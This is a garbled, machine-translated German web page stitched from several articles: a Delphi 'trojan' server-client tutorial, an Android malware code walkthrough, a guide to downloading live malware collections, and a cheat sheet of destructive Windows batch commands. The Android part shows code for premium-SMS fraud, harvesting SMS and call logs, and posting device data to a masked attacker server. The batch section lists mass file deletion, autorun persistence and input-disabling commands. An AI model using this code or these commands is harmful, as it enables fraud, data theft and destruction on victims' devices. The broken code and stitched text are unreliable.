Proben von Viren mit Quellcode. Muster von Viren mit Quellcode, wo nach dem Virencode suchen soll

Wenn Sie daran interessiert sind, wie das "Server-Client-Programm" geschrieben ist und wie sie an einem eigentlichen Beispiel funktionieren, schlage ich vor, den Beitrag bis zum Ende zu lesen. Das wird interessant!

Beispielprogramm Ich beschloss, auf Delphi zu schreiben! Da ist es einfacher und gut geeignet für ein kleines, aber richtiges Beispiel. Wie für das schreckliche Wort "", das ich oben erwähnt habe, passiert es wirklich, der eigenteste Troyan, aber mit kleiner und harmloser Funktionalität.

Sie lernen, wie das Prinzip geschrieben ist. " "Und wie sie von innen arbeiten! Aber es gibt einen ", aber" Troyans schreiben nicht, wie es unten beschrieben wird. Da in unserem Beispiel " Server"Teil des Programms wird viel wiegen ( Dies ist für echte Trojaner nicht akzeptabel), Und wir werden es nicht im System verbergen. In Echt, "Malware" sind die Dinge etwas anders.

Der Serverteil des Programms versucht, sich mit einer kleinen Größe zu entwickeln, nun etwa "100 KB" plus - minus wie viele KB. Und verstecken sie im System, damit Sie lange suchen müssen! ...

Aber alles ist glatt, das Prinzip der Entwicklung ist eins! Und dieses Beispiel ist ideal, um zu verstehen, wie ich am Prinzip "Server-Client" arbeite, wir haben einfach keinen richtigen Ton der Entwicklung von Trojaner, und wir brauchen es? Recht. NEIN!!! Wir sind gute Jungs und gehen nicht nach Hooligan!

So arbeiten Sie auf dem Prinzip "Server - Client"

Einfach und in zwei Wörtern sieht das Bild so aus: Sie laufen auf Ihrem Computer " Kunde"Teil des Programms, in der Regel hat es ein" GUI ", das ist, die Benutzeroberfläche (wenn der Client keine Konsole ist)

Auf dem Computer, an dem Sie Zugriff möchten, beginnt " Server»Teil des Programms, eröffnet es auch einen bestimmten Port auf dem Computer eines anderen und ist im System nicht sichtbar.

Über diesen Anschluss sind Verbindungen angeschlossen, Sie können auf dem Client den Port- und Computer-Ipadress angeben, auf dem der Server ausgeführt wird, eine Verbindung zum Server herstellen, und Sie können einige Aktionen auf einem anderen PC von Ihrem Computer sicher ausführen! Sie können immer noch meinen letzten Beitrag lesen und herausfinden:

Ich hoffe, dass hier erklärt wird, scheint es verständlich und eine einfache menschliche Sprache zu sein! Wenn etwas nicht klar ist, dann wird dann alles klar! Nächstes entscheiden wir uns, welche Aktionen aufgrund der Arbeit unseres kleinen Trojaner auf einem Remote-PC ausgeführt werden!

Welche Funktionalität in diesem Beispiel des Programmservers ist ein Client.

Um ehrlich zu sein, zu diesem Zeitpunkt, als ich dachte, dass ich irgendwie träumen würde und nicht, wie ich nicht mit etwas Interessantem aufkommen konnte! Lassen Sie es im Allgemeinen eine Funktionalität von einer Möglichkeit und bis zu Bump einfach:

- Der Benutzer erhält Ihre Nachricht.

Ich sehe den Punkt nicht, um einige andere Funktionen hinzuzufügen. Da denke ich, dass das für ein Beispiel und das Verständnis davon genauso reicht. Ich denke auch, Sie sollten nicht viel Code schreiben, die Tatsache, die unten ist, genauso reicht, um das Programm von innen anzusehen!

Und für den Ort kann eine Nachricht etwas sein, hängt von der Fantasie einer Person ab, die sich entschied, einen Trojaner und aus seinem Wissen in der Programmierung zu schreiben.

Nun, wir werden einen solchen Witz haben! Der Mann, der an einem Computer sitzt, erhält plötzlich eine Nachricht, zum Beispiel

« Hallo, ich bin verdammt für deinen Computer»

reaktion einer Person repräsentieren? Ich denke, es ist lustig, es wäre, seinen Gesichtsausdruck zu sehen !!!

Entwicklung des Programms auf dem Prinzip "Server - Client"

Beginnen Sie Ihre interessantesten! Und wir beginnen mit der Entwicklung des " Server"Danach werden wir einen Kunden darunter schreiben! Ich werde den Programmcode nicht erklären, einfach, ich werde Beispiele geben, aber ich habe jedoch keinen Programmierblog, und das Ziel des Beitrags zeigt den phasengesteuerten Prozess der Entwicklung solcher Programme nach Typ "Server - Client".

Serverentwicklung!

Zunächst müssen Sie den "Server" beibringen, um einen Port auf Ihrem Computer zu öffnen, um mit dem "Client" mit der Verbindung mit dem "Client" herstellen können, und nachdem Sie den Teams beigetragen haben, und einige Aktionen auf dem PC ausführen.

Wir werden den Hafen wie folgt öffnen, der einfach schmerzhaft ist:

Delphi / Pascal.

prozedur tform1.formcreate (Sender: ToGeject); Starten Sie ServerSocket1.port: \u003d 666; ServerSocket1.Active: \u003d true; Ende;

verfahren tform1. Formcreate (Sender: ToGeject);

start.

ServerSocket1. Port: \u003d 666;

ServerSocket1. Aktiv: \u003d wahr;

ende;

Wenn Sie das Programm jetzt einfach ausführen, ein leeres Fenster ohne Schaltflächen und andere Elemente. Am wichtigsten ist, dass der Port mit der Nummer "666" auf dem Computer geöffnet wird, dass dieser Port später Befehle an den Server gesendet wird, und wiederum wird sie verarbeitet.

Stellen Sie in der Zwischenzeit sicher, dass der Server funktioniert, und der Port ist geöffnet, erinnern Sie sich an den Befehl netstat und sehen Sie das Ergebnis.

Wie wir auf dem Computer sehen können, wird der Hafen mit der Nummer "666" infolge des Starts unseres Programms wirklich nur vom Rand geöffnet, das Programm funktioniert, und es ist Zeit zu unterrichten. " Server"Eine Nachricht entgegennehmen.

Delphi / Pascal.

verfahren tform1.serverocket1clientRead (Sender: ToGeject; Buchse: TCustomWinktockocket); Var komm: string; Beginnen komm: \u003d socket.receiwext; Wenn kopiert (komm, 1,12) \u003d "message_text" dann beginne, löschen (komm, 1, 12); ShowMessage (KOMM); Ende; Ende;

verfahren tform1. ServerSet1ClientRead (Sender: ToBect;

Buchse: TCustomWinktockocket);

komm: string;

Start.

komm: \u003d Sockel. Erkenntnis;

wenn kopieren (komm, 1, 12) \u003d "message_text" dann

start.

Löschen (komm, 1, 12);

ShowMessage (KOMM);

ende;

ende;

Die folgenden Dinge sind die folgenden! Wenn der Server mit dem Namen "message_text" enthält ( Der Name kann irgendein sein) Dann funktioniert das Verfahren "ShowMessage" und zeigt eine Nachricht an, die mit dem Befehl geliefert und in der KOMM-String-Variablen gespeichert ist

Dementsprechend wird die Textnachricht eingegeben " Klient"Und er kann irgendein Inhalt sein!

In anderen Angelegenheiten auf dieser Entwicklung " Server"Teile sind abgeschlossen. Infolgedessen haben wir eine Datei " Server.exe."Und während ich ihn zur Seite verschieben werde, schreibst du nicht" Klient»

Kundenentwicklung!

Wir werden einen Kunden aus offensichtlichen Gründen mit einer grafischen Benutzeroberfläche (GUI) haben und Bedienelemente, Schaltflächen und Eingabefelder verfügen. Ich habe diese Art von Programm bekommen:

Entscheiden Sie sich mit allen Elementen! Obwohl sie so verstanden sind, wie sie sagen, nur für den Fall, dass ich erklären werde.

IP: Felder für die Eingabe der IPCcomature, in der der Server ausgeführt wird.
Hafen.: Geben Sie die Portnummer an, auf der der Server hängt.
- Verbinden: Schaltfläche zum Anschließen an den Server.
- Textnachricht: Eingabefeld Nachricht, die Sie senden möchten.
- Eine Nachricht schicken…: Bzw. Button, um eine Nachricht zu senden.
- Verbindungsstatus: Hier werden wir herausfinden, verbunden oder nicht!

Delphi / Pascal.

prozedur tform1.button1click (Sender: ToGeject); Beginnen Sie mit dem Kundenocket.host:\u003d IP.text; Clientsocket.port: \u003d strtoint (port.text); Commentocket.open; Ende;

verfahren tform1. Button1Click (Sender: ToGeject);

start.

Kundendet. Host: \u003d IP. Text;

Kundendet. Port: \u003d Strtoint (Port. Text);

Kundendet. Öffnen;

ende;

Sie können jetzt schon jetzt das Programm ausführen und versuchen, eine Verbindung herzustellen " Server"Aber wir erkennen das Ergebnis nicht an, verbunden oder nicht. Korrigieren Sie dies vor der Überprüfung und lehren Sie das Programm, um das Ergebnis der Verbindung anzuzeigen.

Delphi / Pascal.

verfahren tform1.clientsocketConnect (Sender: ToGeject; Buchse: TCustomWinSocket); Beginnen Sie label4.caption: \u003d ("Man kann hergestellt mit:" + ip.text); Label4.font.color: \u003d clagr; Ende;

In der Fall sind alle Ströme, beispielsweise nicht mit dem Server herzustellen, beispielsweise da Server"Auf dem Remote-PC wird nicht gestartet und der Port" 666 "geschlossen.

Delphi / Pascal.

Prozedur tform1.clientsocketError (Sender: Tebject; Sockel: TCustomWinSocket; ErrorEvent: terrorEvent; VARE ERRORCODE: Ganzzahl); Beginnen Sie, ob er errorcode \u003d 10061 anschließt, dann commandetocket.active: \u003d false; Label4.font.color: \u003d CRred; Label4.caption: \u003d ("fauluspillpod-conneuines: + ip.text); Errorcode: \u003d 0; Ende; Ende;

verfahren tform1. ClientsocketError (Sender: Tebject; Buchse: TCustomWinkt;

ErrorEvent: terrorevent; VARE ERRORCODE: Ganzzahl);

start.

Wenn er Fehlercode \u003d 10061 dann

start.

Kundendet. Aktiv: \u003d falsch;

Label4. Schriftart. Farbe: \u003d CRED;

Label4. Bildunterschrift: \u003d ( "FaulufileProof-Ansätzecks:"+ IP. Text);

Errorcode: \u003d 0;

ende;

ende;

Jetzt sehen wir uns an, wie das Programm funktioniert. Um damit zu beginnen, starten Sie den Client, führen Sie den Server jedoch nicht aus, um zu prüfen, ob er angezeigt wird, ob er angeschlossen ist, fehlgeschlagen ist.

In der Sammlung böswilliger Android-Anwendungen haben einige Antivirus-Laboratorien bereits mehr als 10 Millionen Proben enthalten. Diese Figur erregt Fantasie, aber etwa 9 Millionen 995 Tausend von ihnen werden Kopien von Originalviren umbenannt. Wenn Sie jedoch den Quellcode der restlichen mehreren tausend Malvari-Proben analysieren, kann darauf hingewiesen werden, dass alle von einer kleinen Anzahl einzigartiger Funktionsblöcke kombiniert werden (mehrere modifizierte und unterschiedlich kombinierte).

Die Sache ist, dass die Würmeriker am häufigsten sehr triviale Aufgaben verfolgen:

  • eSEMIS an eine bezahlte Zahl senden;
  • nehmen Sie den Besitz von eigentarischen Informationen (Telefonnummern, Nachrichtentexte, Daten von einer SD-Karte usw.).
  • daten auf einem infizierten Gerät sammeln;
  • besitz von Verwaltungsrechten auf dem Gerät (um Anwendungen ohne Erlaubnis des Eigentümers oder zur böswilligen Entfernung des Geräts zu installieren);
  • track-Anmeldungen, Kennwörter und Zahlungskartendaten, die der Benutzer in Internet-Banking-Systeme eingibt. Wie machen Sie das? Versuchen wir, in die düstere Welt des mobilen VIRMEking zu dringen und zu sehen, was dort passiert.

SMS senden

Wer benutzt:

  • Adsms;
  • Fakeplayer;
  • Hipposs.

Die häufigste Art von Viren sind SMS-Trojaner. Diese Viren senden einfach Nachrichten an bezahlte Räume ohne Anwendereinnahme. Erstellen Sie ein solches Programm oder schreiben Sie die notwendige Nummer, ist völlig einfach. Der Prozess der Erlangung von Vorteilen ist äußerst vereinfacht - im Gegensatz dazu, beispielsweise von der Verfolgung von Bankdaten zu verfolgen.

Das Folgende ist das einfachste Beispiel des Codes. Dies ist eine Elementare SMS Sending-Funktion. Es kann kompliziert werden, indem der Status des Sendens überprüft, die Wahl der Zahlen in Abhängigkeit von der Position der Position der Teilnehmerposition und der anschließenden Entfernung von SMS.

Private Static Sendsms (String Destnumber, String Smstext) (// Versuchen Sie, die SMSManager SendTextMessage-Methode zu starten (Standardprogramm zum Senden von SMS vom aktuellen Gerät) mit einer Mindestparameternummer: Empfängernummer und versuchen Sie den Nachrichtentext (SMSManager.GetDefault (). Sendtextmessage (destnumber, , smstext, , null); true zurück;))

Wo suchen Sie nach einem Virencode

In der absoluten Mehrheit der Fälle tritt die Telefoninfektion durch die Installation von Anwendungen auf. Jede Android-Anwendung existiert in Form einer Datei mit einer APK-Erweiterung, die im Wesentlichen ein Archiv ist. Sie können den Inhalt mit Android SDK, den APK-Dateikonverter in Glas und den Java-Byte-Code-Code-Code-Code anzeigen. Eine Anwendungsmontage (APK) besteht aus den folgenden Teilen:

  • ressourcen.arsc - Ressourcetabelle;
  • res (Ordner) - eigentlich Ressourcen (Symbole und andere);
  • Meta-Inf (Ordner) - Enthält Dateien mit den folgenden Inhalten: Ressourcenprüfsumme, Anwendungszertifikat und APK-Montagebeschreibung;
  • Androidmanifest.xml - alle Arten von Service-Informationen. Einschließlich der Berechtigung (Berechtigung), die die Anwendungsanforderung vor der Installation für den korrekten Betrieb anfordert;
  • klassen Daher gibt es Dateien mit der Dex-Erweiterung. Es enthält zusammen mit den notwendigen und nützlichen Klassen (die für die Funktionalität der Anwendung verantwortlich sind), auch bösartiger (viraler Code, den wir in diesem Artikel verstehen).

Benutzerinformationen in einer Textdatei aufnehmen

Wer benutzt:

  • Nickyspy;
  • SMSSPY.

Es gibt eine Kategorie von Viren, die für persönliche Benutzerdaten jagd. Der Mechanismus ihrer Aktion ist auch einfach. Sie werden entweder auf den Server ihres Erstellens der Benutzerdateien geladen oder alle Daten in TXT (CSV, XML - nicht grundlegend) vorkaufen. Zinsen für Angreifer können Kontakte von Typen, Nachrichten aus verschiedenen Messenger, Mediendateien usw. darstellen.

SMS-Kontaminierte Benutzer sind besonders wertvoll von Telefonen und Empfänger-Telefonnummern - sie können mit einer Basis für Spam-Mail aufgefüllt werden. Weniger häufig werden von dieser Art verwendet, um Geräte spezifischer Persönlichkeiten zu infizieren - das nächste Mal, wenn Ihr Mädchen Sie beim nächsten Mal vorschlagen, das geschriebene (AH, Caramba! - ca. ed.) Eine Anwendung auf Android, verlieren Sie nicht die Wachsamkeit :).

// Wir betrachten die Anzahl der SMS auf dem ArrayObobject \u003d (object) -Segrad) localbundle.get ("PDUs"); int j \u003d arrayofobject.Length; // Gehen Sie den Zyklus um jeden SMS I \u003d 1 (true) (true) (if (i\u003e \u003d j) brechen; // Erstellen einer SMS-Nachricht SMSMessage localssmessage \u003d smsmessage.createfrompdu ((Byte) Arrayofobject [I]); // Put In String-Variablen-Sender-Nummer, Text und Uhrzeit des Sendens SMS-Zeichenfolge MessageNumber \u003d localssmessage.getorigationaddress (); String Messagetext \u003d localssmessage.getdisplayMessageBodySmessage.GetdisplayMessagebodybody (); lang l \u003d localssmessage.gettimestampmillis (); Datum LocalDate \u003d Neues Datum (L); String Messagimedate \u003d NEUE SIMPLEDATEFORMAT ("JJJJ-MM-DD HH: MM: SS"). Format (Localdate); // Bilden der Zeile von den empfangenen Daten und schreibe es in die Textdatei von der WRITEREC-Zeichenfolge-String-MessageInfo \u003d 7Messagennumber + "#" "+ Messagetext +" # "+ Messagetimedate +"; "Writerec (Paramachontext, SMS.TXT", MessageInfo); // Gehen Sie zur nächsten Nachricht I + \u003d 1;) Auch Spambling ist bequem aus der Geschichte des Abonnenten aufzufüllen Anrufe. Dieser Code kann mit einem eingehenden Anruf gestartet werden: if (Parmintent.getAction (). Equal ("Android.intent.action.new_out_out_call")) (// in die variable Anzahl der SONTRIMEN-String-PHONENNumber \u003d ParaminTent.GetStringExtra (" Android.Vintent. extra.phone_number "); // Wir bilden eine Zeichenfolge von der Nummer und dem Datum der Ringstring-PHONECALLRECORD \u003d phoneNumber +" # "+ getSystemTime (); // Rufen Sie die WRITEREC-Methode () an (der Code ist hier nicht angegeben), der eine Zeichenfolge einer Textdatei mit der Writerec-Anrufverlauf (ParamagonText, "phonecall.txt", PhonecallRecord) hinzugefügt wird;);)

Nachdem die Informationen aufgezeichnet sind, wird es in die "notwendigen Hände" neu erstellt. Der unten angegebene Code lädt den Anrufverlauf auf den Server:

Private void uploadphonecallHistory () wirft idexception (während (true) (Return; // Prüfen, wenn Sie benötigen, wenn Sie benötigen, wenn Sie möchten (! Fileisexists (/data/data/spyapp.pg/files/phonecall.txt ")) fortsetzen; // Erstellen eines Objekts - Dateien herunterladen UploadFiles loadFiles loadfiles \u003d Neue Uploadfiles (); string uploadkeyNode \u003d getscheideNode ("uid", "uid_v"); // Führen Sie die Methode aus. AdvancedUploadFile (hier ist nicht hier angegeben), um die Datei in den VirusCeter herunterzuladen Server LocalUploadfiles. AdvancedUploadFile (UploadKeyNode, "/ Daten / Daten / spyApp.pg / files / phonecall.txt");))

Sammlung von Informationen

Wer benutzt:

  • Droidkungfu;
  • DroidDream;
  • die große Mehrheit von Malvari ist alles ähnlich.

Prinzipiell nützliche Informationen zu den mit seinen Programmen infizierten Geräte. Holen Sie sich sehr einfach. Eine Reihe von Daten zu den Eigenschaften des Telefons wird erstellt (ihre vollständige Liste kann im Android-Entwicklerhandbuch angezeigt) und von der Pfostenanforderung an das PHP-Skript gesendet werden (die Sprache ist nicht spezifisch) auf dem Angreifer-Server, den Daten Prozesse und legt sie zur späteren Verwendung in der Datenbank an.

Private VOID ReportState (Int Paramint, String Paramstring) (// Erstellen Sie ein Array und setzen Sie die Dienstinformationen über Arraylist UserInformation \u003d neue Arraylist (); userinformation.add (neuer BasisnameValuePair ("IMEI", the.Mimei); UserInformation.add ( Neue BasicNameValuePair ("taskid", the.mtaskid)); userinformation.add ("Zustand", integer.tostring (Paramint)); // Wenn die Funktion den Parameter "Paramsstring" definiert, geben Sie in ein Array und seine IF ( paramtrng! \u003d null) && (! "." Equals (Paramstring))) userinformation.add ("Kommentar", Paramstring); // Erstellen Sie eine HTTP-Postabfrage mit einer Skriptadresse, die httppost localhttpost \u003d new httppost ("http://search.virusxxxxdomain.com:8511/Search/rtpy.php") erstellt; Versuchen (// Fügen Sie unser Array auf die Anforderung mit Daten hinzu und führen Sie sie mit dem Standard-HTTP-Client localhttpost.setentity aus (neue URLENCODEFORMENTITY (Userinformation, UTF-8)); Neue defaulttpclient (). Ausführen (localHttpppost) .getstatusline.getstatuscode (); Rückkehr; ))

Routing

Wer benutzt:

  • Droidkungfu;
  • DroidDream;
  • Rootsmart.

Eine der unangenehmsten Dinge, die dem Android-Gerät passieren können, ist das Routing-Virus. Danach kann das schädliche Programm danach alles tun: Um andere Viren zu installieren, ändern Sie die Einstellungen der Hardware. Dies erfolgt durch eine konsistente Einführung von Exploits:

Privater void rootfunc () (ApplicationInfo localApplicationInfo \u003d getappplicationInfo (); / * "ratc" ist eine Kopie der berühmten Wurzel-Exploit-Wut gegen den Käfig. Kiall - Stoppen Sie alle Prozesse, die von der aktuellen Anwendung ausgeführt werden. GJSVRO - Erläuterung für den Kauf von Udew Rechte (verwendet in Linux-Systemen für verbesserte Hardware- und Netzwerkschnittstellen). All dies wird an den gewünschten Ort * / utils.copyassassets kopiert * / nutzen, "/ Daten / Daten" + localApplicationInfo.packAnname + "/ ratc") Util ts / gjsvro "); // und laufen mit den utils.oldrun (" / system / bin / chmod "," 4755 /data/data "+LocalAppicationInfo.packAnname + "/ ratc"); utils.oldrun ("/ System / Bin / chmod, "4755 /data/data"+LocalApplicationInfo.packagename +" / killAll "); utils.oldrun (" / system / bin / chmod "," 4755 /data/data"+LocalAclicationInfo.packag Enname + "/ gjsvro"); Neue mytread.start (); )

Standorte über Malvari.

Kasperskiy Lab Expert Blog Diese Ressource enthält hochwertige und detaillierte Artikel über viele Aspekte der Computersicherheit, einschließlich Android-Viren. Es ist notwendig, diese Site regelmäßig zu besuchen, um auf dem Laufenden der neuesten Ereignisse auf dem Laufenden zu bleiben.

Die Gruppe widmet sich dem Open-Source-Tool für alle möglichen Manipulationen mit dem Android-Anwendungscode (Dekompilierung und Änderung von Dex / ODEX / APK-Dateien usw.). Androguard enthält auch eine umfangreiche Basis von Artikeln über Viren. Zusätzlich zu den kurzen Bewertungen zu Funktionalität und Schutzmethoden werden detaillierte Analysen von Malvari-Code gefunden.


Abschnitt Mobile Bedrohungen auf www.fortiguard.com Enzyklopädie von Telefonviren. Jeder Artikel ist ein Überblick über die Funktionalität, die von einer erheblichen Anzahl technischer Daten gewürzt wird. Neben den Informationen zu Bedrohungen für das Android-Betriebssystem gibt es Artikel und über Viren für Symbian OS, IOS und andere Plattformen.


Schutz vor Viren

Einige Benutzer glauben, dass, wenn Sie Anwendungen ausschließlich von Google Play herunterladen und Antivirus auf Ihrem Smartphone installieren, absolut Sicherheit garantiert. Es ist nicht notwendig, dediziert zu werden: Das Netzwerk erscheint regelmäßig Nachrichten, um Malvari auf dem offiziellen Markt zu finden. Und die Anzahl der neu aufstrebenden schädlichen Programme wird von Hunderttausenden pro Monat gemessen, was es schwierig macht, in die Datenbank von Antivirus-Programmen zu gelangen. Eine echte Sicherheitsgarantie kann den manuellen Ansicht des APK-Dateicodes vor der Installation auf dem Telefon angeben. Sie müssen keine kodierende Gurus sein, um böswillige Fragmente zu bemerken. Und unser Artikel wird Ihnen dabei helfen.

Fazit

Wie wir aus Beispielen sehen, ist die mobile virimierende technologische Komplexität nicht anders. Natürlich sind diese Beispiele im Rahmen des Formats des Magazins vereinfacht - Zunächst sind Fehlerbehälter und Ausnahmebehälter sowie einzelne technische Trivia verpasst, deren Abwesenheit nicht daran hindert, die Prinzipien der Arbeit von Android zu verstehen. Malvari, wird sie aber vor unnötigen Experimenten schützen. Schließlich unterstützen wir nicht die Schaffung von Viren, nicht wahr? 🙂.

Wo herunterzuladen, um Muster von Viren mit Quellcode und detaillierter Beschreibung herunterzuladen?

Finden Sie eine Sammlung von tatsächlichen Viren und sogar mehr mit dem Beschreibung und der Quellcode, dies ist keine einfache Aufgabe. Wir haben bereits gesagt, wo sie analysieren und studieren sollen. Heute werde ich Ihnen eine weitere Quelle erzählen, auf der Sie finden und herunterladen können, aber diesmal nicht nur ein kleines Auto, das im Netzwerk gefunden wird, aber Executive-Dateien und Virenquellen mit detaillierten Informationen.

In diesem Artikel erfahren Sie über ein paar interessante Projekte, die angeboten werden, um in die Welt des ursprünglichen Codes aller Arten von Trojanern, Botneten, Stillern, Würmern usw. zu tauchen.

  • Vorwort
  • Quellen von Viren.
  • THEZOO-Projekt.
  • Projekt Malware projizieren.

Warum und wer sind möglicherweise Muster von Viren erforderlich?

Die ausführbaren Dateien und Quellen von Viren können benötigt werden, um die von Malware verwendeten Technologien zu analysieren, um das Verhalten von Viren im System zu untersuchen (Überwachung des Dateisystems, der Prozesse) und des Tests von Antiviren. Die Mitarbeiter von Antivirenunternehmen sind bereit, Geld zu zahlen, um Quellen eines neuen Virus zu erhalten.

Ist es legal Viren heruntergeladen?

Sie können Virus-Samples herunterladen, um auf Ihrem Computer zu studieren und zu analysieren, aber um sie von anderen zu verteilen und zu infizieren - es ist unmöglich. Weitere Informationen dazu in Artikel 273 des Strafgesetzbuches.

Ziel dieser Projekte ist es, Antivirenunternehmen und Personen zu geben, die an der Analyse von Viren interessiert sind, um den schädlichen Code von Malvari zu verstehen.

Beachtung! Denken Sie daran, dass die heruntergeladenen Dateien viren arbeiten. Einige von ihnen versuchen, Ihren Computer zu infizieren. Starten Sie in keinem Fall die heruntergeladenen Dateien auf dem Hauptcomputer. Ich empfehle auch nicht, Viruse-Proben ohne besondere Kenntnis der Malware-Analyse herunterzuladen.

In jedem Fall trägt der Site www.site keine Verantwortung für den Schaden an Ihren eigenen und ausländischen Computern.

Ich empfehle dringend die Verwendung. Vergessen Sie nicht, böswillige Würmer, die versuchen, sich auszubreiten und aus der virtuellen Maschine auszuruhen. Um dies zu vermeiden, empfehle ich Ihnen, alle Gäste-Add-On-virtuellen Maschinen, Netzwerkzugriff usw. zu deaktivieren. So können Sie aus der oben genannten Referenz lernen.

Quellen von Viren: Thezoo-Projekt

Beginnen wir die Bewertung von dem Projekt Thezoo, das als Zoo übersetzt wird (mit Humor der Autoren, alles in Ordnung ist, ist in Ordnung). Es befindet sich im Githab-Repository.

Das Ziel des Projekts macht sich für das Studium von Viren zugänglich. Die Autoren sammeln und aktualisieren die Datenbank der Viren. Mit Thezoo können Sie auf beliebte Malware-Proben zugreifen.

Virus-Proben: THEZOO-Projekt

Um herunterzuladen und zu studieren, werden sowohl ausführbare Datei als auch Quellen angeboten.

Wie benutze ich Thezoo?

Sie können das THEZOO-Projekt auf verschiedene Arten verwenden: direkt von der Site oder mit einem Rahmen. Wir werden uns in beide Richtungen ansehen. Beginnen wir mit dem ersten.

Gehen Sie also zur Website und sehen Sie mehrere Verzeichnisse und Dateien.

Durchgeführte Virusdateien Das Hotel liegt im Katalog:

thezoo / malwares / binaries /

Darin finden Sie eine ausführbare Virendatei. Für jedes einzelne bösartige - ein separates Verzeichnis, in dem sich 4 Dateien befinden: schädliche Software selbst in verschlüsseltem Formular im ZIP-Archiv, SHA256- und MD5-Archiv-Prüfsummen zum Vergleich und Kennwort für ein verschlüsseltes Archiv.


Ausführbare Virus-Dateien: Trojaner Androrat

Quellcode von Viren Das Hotel liegt im Katalog:

thezoo / Malwares / Source / Original /

Jedes Verzeichnis hat vier ähnliche Dateien. Noch sowie mit ausführbaren Dateien.


Virusquellen: Trojaner Dendroid

Für jede einzelne Probe gibt es eine Referenz, aber um den Referenz zum Installieren des Rahmens zu verwenden.

Zur Installation des Zzoo-Frameworks verwenden wir den Befehl:

git Clone https://github.com/ytisf / thezoo

Anforderungen: urllib2, python3

Teams: Suche, Verwendung, Erkundung, Info, Liste alle, Report-mal, Update-DB, EXIT. Lesen Sie mehr über Befehle mithilfe des Hilfebefehls.

Also, wenn dieses Projekt herausgefunden hat, betrachten Sie nun noch einen weiter.

Virus-Proben: Malware-Projekt

Das Malware-Projekt befindet sich auch auf Githab. Die Wahl der Viren ist nicht so groß wie im Zoo, aber öfter aktualisiert. Unter den geringen Anzahl von harmlosen Programmen ist es möglich, die Quellen von Trojaner, Botneten, Erpressungen, Kennwortstillern und anderen "guten" zu finden.

Hier ist die Liste bisher:

  • Alina Funken (Troyan)
  • Blutende Lebensdauer 2 (Levite Pack)
  • Carberp (botnet)
  • CARBERP (Bank Trojan)
  • Crimeprick 3.1.3 (Exploit Pak)
  • Dendroid (Trojaner für Android)
  • Dexter V2 (Trojaner)
  • EDA2, Stolich, Win32.STOLICH (Erpresser)
  • Flexisphy (Spyware)
  • (Rahmen)
  • GMBOT (Android Troyan)
  • Gozi-ISFB - (Bank Trojan)
  • Grum (Spam Bot)
  • Hacking Team RCS ()
  • Versteckte Tränen (Erpresser)
  • Kins (Bank Trojaner)
  • Mirai (Botnet Internet der Dinge)
  • Pony 2.0 (Passwort stündelt)
  • PowerLoader (Botnet)
  • RIG-Frontend (Exclit-Pack)
  • ROVNIX (Eimer)
  • Tinba (Bank Trojan)
  • Tinynuke (Bank Trojan)
  • Trochilus, Redleaves (Ratte)
  • Zeus (Bank Trojan)

Ursprünglicher Viruscode: Malware-Projekt

Gehen wir in den Alina Trojan-Ordner. Hier bieten wir verschiedene Verzeichnisse an, darunter Quellen. Darüber hinaus fügte die Autoren im Unterteil der Autoren Links zu böswilligen Informationen hinzu.

hier ist der Prozess des Teams
assoc .exe \u003d .mp3-betrunken werden als Musik-Label E: Pridurok-wechselnde Schraube auf Idiot Time 00:00 - Zeit eingeführt
datum 13.03.36 - Ändern des Datums Assoc .lnk \u003d .txt - Ändern der Triebe in der TCT-Datei Kopie% 0 F: \\ Work.BAT-Kopieren des Objekts

1) Ein Programm, um Dateien aus einem Flash-Laufwerk zu löschen (falls vorhanden) und umbenennen.
del f: \\ *. * / Q
label F: Hack
2) Ein Programm, um das Datum und die Uhrzeit auf dem Computer zu ändern, und kopieren Sie es auf die C-Diskette und auf das USB-Flash-Laufwerk.
zeit 14:13.
datum 11.07.12.
kopieren% 0 C: \\ time.bat
kopieren% 0 F: \\ time.bat
----------
\u003e NUL-Hide den String-Befehl
% SystemRoot% / System32 / rundll32 user32, SwapmouseButton-wechselnde Maustasten
---------------
kopieren "% 0" "% systemroot% \\ system32 \\ file.bat»
rEG Add "HKLM \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Run" / V "filel" / t reg_sz / d "% systemroot% \\ system32 \\ file.bat" / f
rEG Fügen Sie HKCU \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Richtlinien \\ Explorer / V NOCONTROLPANEL / T reg_dword / d 1 / f hinzu
Sehr brutaler Befehl: Fügt dem OS-AutoLoad ein Programm hinzu.
"Del X: \\ y *. * / Q" - löscht alle Dateien auf der Festplatte x in der (mit Ausnahme von Ordnerordner) (Beispiel DEL F: \\ Daten *. * / Q);
"Net User" x "/ Add" fügt dem Computer unter dem Namen X hinzu (Beispiel des NET-Benutzers "Smoked" / Add);
"@Echo off" eingeführt am Anfang unseres Virus und verbirgt alles
rundll32 Benutzer, DisableEemlayer - Systemausfall (!) - Schalten Sie alle E / A-Funktionen aus (Tastatur, Anzeige, Maus) aus. Infolgedessen gibt es einen schwarzen Bildschirm mit einem Cursor und kein Antwortsystem, aber Windows funktioniert weiterhin.
del *. * / Q (Nachdem Sie diesen Befehl starten, werden alle Dateien neben Ordnern, die sich im Ordner befinden, in dem der Virus gestartet wurde, verloren gehen !!!
mD 1-Erstellen von Ordnern
Um die Datei beim Booten von Windows zu starten, benennen Sie die Datei in AutoExec.bat um.
Echo-Virus-Lade-Inschrift auf dem Screen-Virus-Lodin
del c: Programmdateien / q (löscht alle Dateien aus diesem Ordner)
rEG ist direkte Arbeit mit der Registrierung. REG /? Alle!
rCP - Dateifreigabe über RCP in ASCII
runas - im Namen des Benutzers
taskliste - Zeigt Anwendungen und Sitzungen an, die damit verbunden sind.
taskkill - Ermöglicht das Abschließen eines oder mehrerer Prozesse
tFTP - Triviales FTP
tskill - töte den Prozess
reg - Interaction-Dienstprogramm mit der Registrierung
bootcfg - Boot.ini einrichten
appende - Ermöglicht das Öffnen gelöschte Dateien, als ob sie sich in der aktuellen befindet.
getmac - Get Mas
abmelden - Um die Benutzersitzung abzuschließen.
mEM - Ausgabe auf den Bildschirm von Informationen über aktuelle Prozesse im RAM
mQBKUP - Archivierung.
netsh - ??
openFiles - Öffnen Sie Dateien.
rSH - Befehle ausführen auf Remote-Knoten mit dem Laufen von RSH
sc - Befehlszeile ??
rexec - Befehle ausführen auf Remote-Knoten mit RUNNE REXEC
herunterfahren - Schalten Sie den lokalen oder Remote-Computer aus (hehe) aus.
systemInfo - Abschluss info Über comp.
schnasks - Job Scheduler.
xcopy - Kopieren Sie Dateien und Verzeichnisse.
tSShutDN - Kündigung des Servers in der Weise.
